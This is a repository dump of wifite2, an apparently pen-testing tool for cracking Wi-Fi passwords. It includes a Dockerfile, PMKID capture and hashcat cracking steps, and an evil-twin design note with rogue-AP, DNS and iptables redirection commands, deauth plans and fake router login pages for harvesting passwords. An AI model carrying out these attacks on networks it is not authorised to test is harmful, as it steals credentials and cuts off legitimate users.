Full Code of derv82/wifite2 for AI

master e190794149f4 cached
73 files
366.7 KB
102.3k tokens
311 symbols
1 requests
Download .txt
Showing preview only (386K chars total). Download the full file or copy to clipboard to get everything.
Repository: derv82/wifite2
Branch: master
Commit: e190794149f4
Files: 73
Total size: 366.7 KB

Directory structure:
gitextract_vobs948i/

├── .gitignore
├── Dockerfile
├── EVILTWIN.md
├── LICENSE
├── MANIFEST.in
├── PMKID.md
├── README.md
├── TODO.md
├── Wifite.py
├── bin/
│   └── wifite
├── runtests.sh
├── setup.cfg
├── setup.py
├── tests/
│   ├── __init__.py
│   ├── files/
│   │   ├── airmon.output
│   │   ├── airodump-weird-ssids.csv
│   │   ├── airodump.csv
│   │   ├── contains_wps_network.cap
│   │   ├── handshake_exists.cap
│   │   ├── handshake_exists.cap.stripped.tshark
│   │   ├── handshake_has_1234.cap
│   │   ├── handshake_not_exists.cap
│   │   ├── wep-crackable.ivs
│   │   └── wep-uncrackable.ivs
│   ├── test_Airmon.py
│   ├── test_Airodump.py
│   ├── test_Handshake.py
│   └── test_Target.py
├── wifite/
│   ├── __init__.py
│   ├── __main__.py
│   ├── args.py
│   ├── attack/
│   │   ├── __init__.py
│   │   ├── all.py
│   │   ├── pmkid.py
│   │   ├── wep.py
│   │   ├── wpa.py
│   │   └── wps.py
│   ├── config.py
│   ├── model/
│   │   ├── __init__.py
│   │   ├── attack.py
│   │   ├── client.py
│   │   ├── handshake.py
│   │   ├── pmkid_result.py
│   │   ├── result.py
│   │   ├── target.py
│   │   ├── wep_result.py
│   │   ├── wpa_result.py
│   │   └── wps_result.py
│   ├── tools/
│   │   ├── __init__.py
│   │   ├── aircrack.py
│   │   ├── aireplay.py
│   │   ├── airmon.py
│   │   ├── airodump.py
│   │   ├── bully.py
│   │   ├── cowpatty.py
│   │   ├── dependency.py
│   │   ├── hashcat.py
│   │   ├── ifconfig.py
│   │   ├── iwconfig.py
│   │   ├── john.py
│   │   ├── macchanger.py
│   │   ├── pyrit.py
│   │   ├── reaver.py
│   │   ├── tshark.py
│   │   └── wash.py
│   └── util/
│       ├── __init__.py
│       ├── color.py
│       ├── crack.py
│       ├── input.py
│       ├── process.py
│       ├── scanner.py
│       └── timer.py
└── wordlist-top4800-probable.txt

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
*.swp
*.pyc
py/hs/
hs/
*.bak
.idea/
cracked.txt
MANIFEST
dist/
build/
files.txt


================================================
FILE: Dockerfile
================================================
FROM python:2.7.14-jessie

ENV DEBIAN_FRONTEND noninteractive
ENV HASHCAT_VERSION hashcat-3.6.0

# Install requirements
RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -y
RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y
RUN apt-get build-dep aircrack-ng -y



#Install Aircrack from Source
RUN wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz
RUN tar xzvf aircrack-ng-1.2-rc4.tar.gz
WORKDIR /aircrack-ng-1.2-rc4/
RUN make
RUN make install
RUN airodump-ng-oui-update

# Workdir /
WORKDIR /

# Install wps-pixie
RUN git clone https://github.com/wiire/pixiewps
WORKDIR /pixiewps/
RUN make
RUN make install


# Workdir /
WORKDIR /


# Install bully
RUN git clone https://github.com/aanarchyy/bully
WORKDIR /bully/src/
RUN make
RUN make install



# Workdir /
WORKDIR /

#Install and configure hashcat
RUN mkdir hashcat && \
    cd hashcat && \
    wget https://hashcat.net/files_legacy/${HASHCAT_VERSION}.7z && \
    7zr e ${HASHCAT_VERSION}.7z


#Add link for binary
RUN ln -s /hashcat/hashcat-cli64.bin /usr/bin/hashcat


# Install reaver
RUN git clone https://github.com/gabrielrcouto/reaver-wps.git
WORKDIR /reaver-wps/src/
RUN ./configure
RUN make
RUN make install

# Workdir /
WORKDIR /

# Install cowpatty
RUN git clone https://github.com/roobixx/cowpatty.git
WORKDIR /cowpatty/
RUN make

# Workdir /
WORKDIR /

# Install wifite
RUN git clone https://github.com/derv82/wifite2.git
WORKDIR /wifite2/
ENTRYPOINT ["/bin/bash"]




================================================
FILE: EVILTWIN.md
================================================
An idea from Sandman: Include "Evil Twin" attack in Wifite.

This page tracks the requirements for such a feature.

Evil Twin
=========

[Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack.

The attack requires multiple wireless cards:

1. Hosts the twin.
2. Deauthenticates clients.

As clients connect to the Evil Twin, they are redirected to a fake router login page.

Clients enter the password to the target AP. The Evil Twin then:

1. Captures the Wifi password,
2. Verifies Wifi password against the target AP,
3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP.
4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1.

Below are all of the requirements/components that Wifite would need for this feature.


DHCP
====
We need to auto-assign IP addresses to clients as they connect (via DHCP?).


DNS Redirects
=============
All DNS requests need to redirect to the webserver:

1. So we clients are encouraged to login.
2. So we can intercept health-checks by Apple/Google


Rogue AP, Server IP Address, etc
================================
Probably a few ways to do this in Linux; should use the most reliable & supported method.

Mainly we need to:

1. Spin up the Webserver on some port (8000)
2. Start the Rogue AP
3. Assign localhost on port 8000 to some subnet IP (192.168.1.254)
4. Start DNS-redirecting all hostnames to 192.168.1.254.
5. Start DHCP to auto-assign IPs to incoming clients.
6. Start deauthing clients of the real AP.

I think steps 3-5 can be applied to a specific wireless card (interface).

* TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc.
   * Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64)
   * Kali "Evil Wireless AP" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/)
   * Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77)
* TODO: Should the Evil Twin spoof the real AP's hardware MAC address?
   * Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)).


ROGUE AP
========
Gleaned this info from:

* ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack
* ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity
* ["SniffAir" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py)


HOSTAPD
-------
* Starts access point.
* Not included in Kali by-default.
* Installable via `apt-get install hostapd`.
* [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd)

Config file format (e.g. `~/hostapd.conf`):

```
driver=nl80211   # 'nl80211' appears in all hostapd tutorials I've found.
ssid=$EVIL_SSID  # SSID/name of Evil Twin (should match target's)
hw_mode=$BAND    # Wifi Band, e.g. "g" or "g+n"
channel=$CHANNEL # Numeric, e.g. "6'
```

Run:

```
hostapd ~/hostapd.conf -i wlan0
```


DNSMASQ
-------

* Included in Kali.
* Installable via `apt-get install dnsmasq`
* Handles DNS and DHCP.
* [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html)

Config file format (e.g. `~/dnsmasq.conf`):

```
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
#no-resolv
server=8.8.8.8
log-queries
log-dhcp

# Redirect all requests (# is wildcard) to IP of evil web server:
# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports...
#address=/#/192.168.1.254
```

"DNS Entries" file format (`~/dns_entries`):

```
[DNS Name] [IP Address]
# TODO: Are wildcards are supported?
* 192.168.1.254 # IP of web server
```

Run:

```
dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries
```

IPTABLES
--------
From [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263)

> *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi*
> `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp –dport 80 -j DNAT –to 192.168.1.254:80`

And from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300)

> *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:*
> `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80`
> `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80`

TODO:

* What about HTTPS traffic (port 443)?
   * We want to avoid browser warnings (scary in Chrome & Firefox).
   * Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue.
   * sslstrip may get around this...


DEAUTHING
=========
While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin.

Listening
---------
We need to listen for more clients and automatically start deauthing new clients as they appear.

This might be supported by existing tools...

MDK
---
Deauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`.

I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both.

TODO: Require MDK if it is miles-ahead of `aireplay-ng`
TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs.


Website
=======

Router Login Pages
------------------
These are different for every vendor.

Fluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages.

We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors.

We also need a "generic" login page in case we don't have the page for a vendor.

1. Web server to host HTML, images, fonts, and CSS that the vendor uses.
3. Javascript to send the password to the webserver


Language Support
----------------
Note: Users should choose the language to host; they know better than any script detection.

Each router page will have a warning message telling the client they need to enter the Wifi password:
   * "Password is required after a router firmware update"

The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else.

Then only the warning message needs to be templatized by-language (we only need one sentence per language).

That would avoid the need for separate "sites" for each Vendor *and* language.

But we probably need other labels to be translated as well:

* Title of page ("Router Login Page")
* "Password:"
* "Re-enter Password:"
* "Reconnect" or "Login"

...So 5 sentences per language. Not bad.

The web server could send a Javascript file containing the language variable values:

```javascript
document.title = 'Router Login';
document.querySelector('#warn').textContent('You need to login after router firmware upgrade.');
document.querySelector('#pass').textContent('Password:');
// ...
```


One HTML File
-------------
We can compact everything into a single HTML file:

1. Inline CSS
2. Inline images (base64 image/jpg)
3. Some placeholders for the warning message, password label, login button.

This would avoid the "lots of folders" problem; one folder for all .html files.

E.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`.


AJAX Password Submission
------------------------
The website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`).

Easy to do in Javascript (via a simple `<form>` or even `XMLHttpRequest`).


Webserver
=========
The websites served by the webserver is dynamic and depends on numerous variables.

We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track.


Spoofing Health Checks
----------------------
Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage.

We want to spoof those webpages *exactly* so the client's device shows the Evil Twin as "online".

Fluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *"Connectivity Responses"*).

Specifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698).

Requirements:

* Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc).

TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices.


HTTPS
-----
What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP?


Spoofing Router Login Pages
---------------------------
We can detect the router vendor based on the MAC address.

If we have a fake login page for that vendor, we serve that.

Otherwise we serve a generic login page.

TODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`?


Password Capture
----------------
Webserver needs to know when a client enters a password.

This can be accomplished via a simple CGI endpoint or Python script.

E.g. `login.cgi` which reads `password1` and `password2` from the query string.


Password Validation
-------------------
The Webserver needs to know when the password is valid.

This requires connecting to the target AP on an unused wireless card:

1. First card is hosting the webserver. It would be awkward if that went down.
2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP.
3. ...A third wifi card may make this cleaner.

TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like.
TODO: Choose the fastest & most-relaiable method for verifying wifi paswords


Evil Webserver & Deauth Communication
-------------------------------------
The access point hosting the Evil Twin needs to communicate with the Deauth mechanism:

1. Which BSSIDs to point to the Evil Twin,
2. Which BSSIDs to point to the real AP.

Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver.

So the webserver would need to maintain:

1. List of BSSIDs to deauth from real AP (so they join Evil Twin),
2. List of BSSIDs to deauth from Evil Twin (so they join real AP),
3. Background process which is deauthing the above BSSIDs on a separate wireless card.

I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password").

TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads.
TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?)


Success & Cleanup
-----------------
When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message).

During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP.

This deauthing should continue until all clients are deauthenticated from the Evil Twin.

Then the script can be stopped.


Proof of Concept
================

Start AP and capture all port-80 traffic:

```
ifconfig wlan0 10.0.0.1/24 up

# start dnsmasq for dhcp & dns resolution (runs in background)
killall dnsmasq
dnsmasq -C dnsmasq.conf

# reroute all port-80 traffic to our machine
iptables -N internet -t mangle
iptables -t mangle -A PREROUTING -j internet
iptables -t mangle -A internet -j MARK --set-mark 99
iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m mark --mark 99 -j REJECT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# start wifi access point (new terminal)
killall hostapd
hostapd ./hostapd.conf -i wlan0

# start webserver on port 80 (new terminal)
python -m SimpleHTTPServer 80
```

Cleanup:

```
# stop processes
# ctrl+c hostapd
# ctrl+c python simple http server
killall dnsmasq

# reset iptables
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
```



================================================
FILE: LICENSE
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    {description}
    Copyright (C) {year}  {fullname}

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  {signature of Ty Coon}, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.


================================================
FILE: MANIFEST.in
================================================
include README.md
include wordlist-top4800-probable.txt


================================================
FILE: PMKID.md
================================================
### PMKID Attack

See https://hashcat.net/forum/thread-7717.html

### Steps

1. Start `hcxdumptool` (daemon)
   * `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1`
   * Should also use `-c <channel>`, `--filterlist` and `--filtermode` to target a specific client
   * Could be a new attack type: `wifite.attack.pmkid`
2. Detect when PMKID is found.
   * `hcxpcaptool -z pmkid.16800 pmkid.pcapng`
   * Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex).
3. Save `.16800` file (to `./hs/`? or `./pmkids/`?)
   * New result type: `pmkid_result`
   * Add entry to `cracked.txt`
4. Run crack attack using hashcat:
   * `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt`

### Problems

* Requires latest hashcat to be installed. This might be in a different directory.
   * Use can specify path to hashcat? Yeck...
   * % hashcat -h | grep 16800
   * 16800 | WPA-PMKID-PBKDF2
* If target can't be attacked... we need to detect this failure mode.
   * Might need to scrape `hcxdumptool`'s output
   * Look at `pmkids()` func in .bashrc
   * hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null
   * Check OUTPUT.16800 for the ESSID.
* Wireless adapter support is minimal, apparently.
* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily



================================================
FILE: README.md
================================================
Wifite
======

This repo is a complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.

Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches!

Wifite is designed to use all known methods for retrieving the password of a wireless access point (router).  These methods include:
1. WPS: The [Offline Pixie-Dust attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)
1. WPS: The [Online Brute-Force PIN attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Online_brute-force_attack)
2. WPA: The [WPA Handshake Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.
3. WPA: The [PMKID Hash Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.
4. WEP: Various known attacks against WEP, including *fragmentation*, *chop-chop*, *aireplay*, etc.

Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.

Supported Operating Systems
---------------------------
Wifite is designed specifically for the latest version of [**Kali** Linux](https://www.kali.org/). [ParrotSec](https://www.parrotsec.org/) is also supported.

Other pen-testing distributions (such as BackBox or Ubuntu) have outdated versions of the tools used by Wifite. Do not expect support unless you are using the latest versions of the *Required Tools*, and also [patched wireless drivers that support injection]().

Required Tools
--------------
First and foremost, you will need a wireless card capable of "Monitor Mode" and packet injection (see [this tutorial for checking if your wireless card is compatible](http://www.aircrack-ng.org/doku.php?id=compatible_cards) and also [this guide](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)). There are many cheap wireless cards that plug into USB available from online stores.

Second, only the latest versions of these programs are supported and must be installed for Wifite to work properly:

**Required:**

